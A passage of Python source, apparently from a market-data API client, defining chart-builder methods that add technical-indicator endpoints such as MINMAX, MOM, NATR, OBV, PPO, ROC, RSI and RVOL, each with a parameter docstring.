Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = MININDEXEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_minmax(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of MINMAX to chart builder
Lowest and highest values over period(MINMAX).
This API call returns meta and time series values of MINMAX. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = MINMAXEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_minmaxindex(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of MINMAXINDEX to chart builder
Indexes of lowest and highest values over period(MINMAXINDEX).
This API call returns meta and time series values of MINMAXINDEX. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = MINMAXINDEXEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_minus_di(
self,
exchange=None,
country=None,
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of MINUS_DI to chart builder
Minus Directional Indicator(MINUS_DI) is a component of the Average
Directional Index(ADX) and it measures the existence of downtrend.
This API call returns meta and time series values of MINUS_DI. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = MINUS_DIEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_minus_dm(
self,
exchange=None,
country=None,
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of MINUS_DM to chart builder
Minus Directional Movement(MINUS_DM) is calculated as: Previous Low -
Low.
This API call returns meta and time series values of MINUS_DM. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = MINUS_DMEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_mom(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of MOM to chart builder
Momentum(MOM) compares current price with the previous price N
timeperiods ago.
This API call returns meta and time series values of MOM. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = MOMEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_natr(
self,
exchange=None,
country=None,
time_period=14,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of NATR to chart builder
Normalized Average True Range(NATR) is used to compare and analyze
across different price levels due to its normalized quality, which
might be more effective than the original ATR.
This API call returns meta and time series values of NATR. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = NATREndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_obv(
self,
exchange=None,
country=None,
series_type="close",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of OBV to chart builder
On Balance Volume(OBV) is a momentum indicator which uses volume flow
to forecast upcoming price changes.
This API call returns meta and time series values of OBV. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Name of instrument you want to request
For preffered stocks use dot(.) delimiterE.g. BRK.A or BRK.B will be
correct
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = OBVEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_plus_di(
self,
exchange=None,
country=None,
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of PLUS_DI to chart builder
Plus Directional Indicator(PLUS_DI) is a component of the Average
Directional Index(ADX) and it measures the existence of uptrend.
This API call returns meta and time series values of PLUS_DI. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = PLUS_DIEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_plus_dm(
self,
exchange=None,
country=None,
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of PLUS_DM to chart builder
Plus Directional Movement(PLUS_DM) is calculated as: High - Previous
High.
This API call returns meta and time series values of PLUS_DM. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = PLUS_DMEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_ppo(
self,
exchange=None,
country=None,
series_type="close",
fast_period="10",
slow_period="21",
ma_type="SMA",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of PPO to chart builder
Percentage Price Oscillator(PPO) shows relationship between two Moving
Averages(MA) as a percentage.
This API call returns meta and time series values of PPO. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param fast_period: Number of periods for fast moving average. Must
be at least 1
:param slow_period: Number of periods for slow moving average. Must
be at least 1
:param ma_type:
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = PPOEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
fast_period=fast_period,
slow_period=slow_period,
ma_type=ma_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_roc(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of ROC to chart builder
Rate of change(ROC) calculates rate of change between current price
and price n timeperiods ago. Formula: ((price / prevPrice) - 1) * 100.
This API call returns meta and time series values of ROC. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = ROCEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_rocp(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of ROCP to chart builder
Rate of change percentage(ROCP) calculates rate of change in % between
current price and price n timeperiods ago. Formula: (price -
prevPrice) / prevPrice.
This API call returns meta and time series values of ROCP. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = ROCPEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_rocr(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of ROCR to chart builder
Rate of change ratio(ROCR) calculates ratio between current price and
price n timeperiods ago. Formula: (price / prevPrice).
This API call returns meta and time series values of ROCR. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = ROCREndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_rocr100(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of ROCR100 to chart builder
Rate of change ratio 100 scale(ROCR100) calculates ratio with 100
scale between current price and price n timeperiods ago. Formula:
(price / prevPrice) * 100.
This API call returns meta and time series values of ROCR100. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = ROCR100Endpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_rsi(
self,
exchange=None,
country=None,
series_type="close",
time_period=14,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of RSI to chart builder
Relative Strength Index(RSI) is a momentum indicator which calculates
the magnitude of a price changes to assess the overbought and oversold
conditions in the price of an asset.
This API call returns meta and time series values of RSI. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = RSIEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_rvol(
self,
exchange=None,
country=None,
time_period=14,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of RVOL to chart builder
Relative Volume Indicator(RVOL) shows how the current trading volume
is compared to past volume over a given period.
This API call returns meta and time series values of RVOL. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = RVOLEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
